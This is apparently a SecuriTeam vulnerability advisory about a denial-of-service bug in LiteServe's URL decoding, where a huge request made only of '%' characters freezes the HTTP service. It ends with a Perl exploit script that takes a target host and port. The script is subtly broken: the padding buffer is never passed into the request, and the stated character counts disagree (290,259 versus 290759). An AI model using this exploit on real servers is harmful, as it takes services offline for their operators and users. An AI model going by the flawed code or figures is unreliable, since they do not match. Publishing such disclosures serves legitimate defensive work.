SecuriTeam - LiteServe URL Decoding DoS

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LiteServe is a powerful, full-featured Web, email and FTP server. This server software is perfect for personal websites or commercial sites with high traffic demands and multiple domains. A vulnerability in the way the program decodes URL allows remote attackers to cause it to crash.

Credit:
The information has been provided by Matthew Murphy.

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LiteServe's URL decoder has a problem handling illegal "%xx" sequences, such as "%.@", for example, and may produce corrupted output when such a sequence is used. The problem appears to be a referencing issue when the decode sequence does not specify a legitamite hexadecimal sequence. A denial of service may occur if LiteServe is passed an extremely large request consisting only of "%" characters. 290,259 such characters will cause LiteServe to freeze:

GET /[buffer] HTTP/1.0

After this request is processed, attempting to connect to the HTTP service reveals that the server is dead.

Exploit:
#!/usr/bin/perl
use IO::Socket;
$buffer="%"x290759;
$req=sprintf("GET /%s HTTP/1.0\r\n\r\n");
$f=IO::Socket::INET->new(PeerAddr=>$ARGV[0],PeerPort=>$ARGV[1],Proto=>"tcp")
;
print $f $req;
undef $f;

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